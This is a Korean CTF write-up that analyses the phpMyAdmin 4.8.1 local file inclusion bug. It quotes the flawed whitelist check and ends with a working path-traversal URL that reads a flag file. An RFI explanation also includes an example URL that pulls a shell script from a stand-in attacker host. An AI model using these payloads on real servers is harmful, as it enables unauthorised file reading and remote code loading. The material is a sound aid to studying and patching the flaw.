CTF 라업 쓸때 phpMyAdmin 4.8.1버전의 LFI 취약점을 이용하여 플래그를 획득했었다.
오늘은 이런 공격을 가능하게 해준 이유를 분석해 볼 것이다.
LFI
취약점은 공격자가 웹 응용 프로그램을 속여 로컬에 존재하는 파일을 실행하거나 노출시키는 공격 기술이다.
LFI
공격을 시도하기 위해 주로Path Traversal
취약점을 이용한다.
Path Traversal
취약점이란 접근 권한이 없어야 하는 웹 서버의 파일에 접근하기 위해 특정한 방식으로 주소를 수정하여 접근 권한이 없는 파일에 접근하는 것이다.
RFI
취약점은 LFI
취약점과 비슷하지만
LFI
가 로컬에 존재하는 파일을 대상을 공격하는 반면에
RFI
는 공격자가 악의적인 코드를 서버로 업드해서 공격하는 차이가 있다.
따라서 RFI
공격의 URL을 보면
http://example.com/index.php? pram=http://attack.com/shellscript.txt
이런 식으로 RFI
공격은 서버 외부에서 공격을 시도하기때문에 ip주소와 포트가 필요하다
본론으로 돌아와서 다시 취약점 분석을 시도하겠다
취약점이 발생한 부분은 phpMyAdmin 4.8.1의 index.php
내부이다.
//index.php line 53-62
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
문제가 발생되는 소스코드이다.
if문을 통하여 아래와 같은 정보를 알아낼 수 있다.
target
파라미터의 입력 값은 공백이 아니다target
파라미터의 입력 문자열이다.target
파라미터의 입력index
로 시작하지 않는다target
파라미터의 입력target_blacklist
에 없어야 한다core.php
에 존재하는 checkPageValidity
함수에서 값을 검증 받아야한다.따라서 core.php
에서의 checkPageValidity
함수를 확인해보면
public static function checkPageValidity(&$page, array $whitelist = [])
{
//1.
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
//2.
if (! isset($page) || !is_string($page)) {
return false;
}
//3.
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
//4.
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
//5.
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
이런 코드가 나오게 된다.
코드를 한 줄씩 뜯어보면
1. $whitelist
에 데이터가 없으면 $whitelist
에 self::$goto_whitelist
값을 넣어주게 된다.
goto_whitelist
의 데이터는 core.php
에 존재한다.
class Core
{
/**
* the whitelist for goto parameter
* @static array $goto_whitelist
*/
public static $goto_whitelist = array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
'db_export.php',
'db_importdocsql.php',
'db_multi_table_query.php',
'db_structure.php',
'db_import.php',
'db_operations.php',
'db_search.php',
'db_routines.php',
'export.php',
'import.php',
'index.php',
'pdf_pages.php',
'pdf_schema.php',
'server_binlog.php',
'server_collations.php',
'server_databases.php',
'server_engines.php',
'server_export.php',
'server_import.php',
'server_privileges.php',
'server_sql.php',
'server_status.php',
'server_status_advisor.php',
'server_status_monitor.php',
'server_status_queries.php',
'server_status_variables.php',
'server_variables.php',
'sql.php',
'tbl_addfield.php',
'tbl_change.php',
'tbl_create.php',
'tbl_import.php',
'tbl_indexes.php',
'tbl_sql.php',
'tbl_export.php',
'tbl_operations.php',
'tbl_structure.php',
'tbl_relation.php',
'tbl_replace.php',
'tbl_row_action.php',
'tbl_select.php',
'tbl_zoom_select.php',
'transformation_overview.php',
'transformation_wrapper.php',
'user_password.php',
);
$page
값이 없거나 문자열이 아니면 False
가 반환된다.server_sql.php?%253f../../../../../../tmp/flag
을 입력했으므로 3번째 if문으로 넘어갈 수 있다.$page
값이 $whitelist
에 존재하면 True
값을 반환한다.server_sql.php?%253f../../../../../../tmp/flag
값은 $whitelist
에 없으므로 True
를 반환하지 않고 다음 함수로 넘어간다.4번째 if문에서 추가로 검증하기전 함수에서 $_page
변수를 정의한다.
$_page
값은 mb_substr()
의 리턴 값이다.
mb_substr()
함수의 문법은 아래와 같다.
mb_substr(문자열, 시작위치, 나타낼 길이, 인코딩방식)
나타낼 길이를 알아내기 위해 mb_strpos()
의 사용법을 알아야한다.
mb_strpos(대상 문자열, 조건 문자열, 검색 시작 위치, 인코딩방식)
따라서 mb_strpos($page . '?', '?')
는 $page?
에서 ?
의 시작하는 위치를 찾는 함수이다.
따라서 위 mb_substr()
의 리턴값은server_sql.php%253f../../../../../../tmp/flag
이고 즉 $_page
는 server_sql.php%253f../../../../../../tmp/flag
이 된다.
$_page
값이 $whitelist
에 있으면 true
를 반환한다true
를 반환하겠지만 server_sql.php%253f../../../../../../tmp/flag
값은 $whitelist
에 없는 값이므로 True
를 반환하지 않게 되고 다음 if문으로 넘어가게 된다.그리고 마지막 if문이 실행되기전에 $_page
변수를 URL Decoding
한 값을 다시 $_page
변수에 저장하고 다시 ?
에서 자르게 된다.
따라서 $_page
의 값에는 server_sql.php
이 들어가게 된다.
$_page
값의 변수를 다시 $whitelist
와 비교하여 값이 존재하면 True
값을 반환한다.따라서 Path Traversal
을 이용하여 공격을 시도한 URL이 checkPageValidity()
함수에서 검증시 적합한 url이라고 나오게 된다.
따라서 Path Traversal
공격을 통해 전달한 url을 include()
함수가 받고 최종적으로 로컬 파일에 접근할 수 있다.
따라서
http://ctf-hackingcamp.com:60698/phpMyAdmin/index.php?target=server_sql.php?%253f../../../../../../tmp/flag
로 공격을 시도하면 아래처럼 플래그 값을 알아낼 수 있다.